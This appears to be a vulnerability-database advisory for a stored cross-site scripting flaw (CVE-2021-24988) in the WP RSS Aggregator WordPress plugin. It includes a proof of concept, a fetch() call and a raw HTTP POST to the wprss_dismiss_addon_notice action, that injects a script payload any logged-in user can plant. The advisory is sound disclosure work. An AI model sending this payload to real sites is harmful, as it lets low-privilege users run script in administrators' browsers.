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WordPress Plugin Vulnerabilities

WP RSS Aggregator < 4.19.3 - Subscriber+ Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape data before outputting it in the System Info admin dashboard, which could lead to a Stored XSS issue due to the wprss_dismiss_addon_notice AJAX action missing authorisation and CSRF checks, allowing any authenticated users, such as subscriber to call it and set a malicious payload in the addon parameter.

Proof of Concept

fetch("https://example.com/wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "addon=</textarea><script>alert(/XSS/);</script>&notice=b",
  "method": "POST",
  "credentials": "include"
});

POST /wp-admin/admin-ajax.php?action=wprss_dismiss_addon_notice HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/x-www-form-urlencoded
Content-Length: 56
Connection: close
Cookie: [any authenticated user]

addon=</textarea><script>alert(/XSS/);</script>&notice=b

The XSS will be trigger at https://example.com/wp-admin/admin.php?page=wpra_tools 

Affects Plugins

wp-rss-aggregator
Fixed in version 4.20

References

CVE
CVE-2021-24988

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
0742483b-6314-451b-a63a-536fd1e14845

Timeline

Publicly Published

2021-11-29 (about 1 years ago)

Added

2021-11-29 (about 1 years ago)

Last Updated

2022-04-10 (about 9 months ago)

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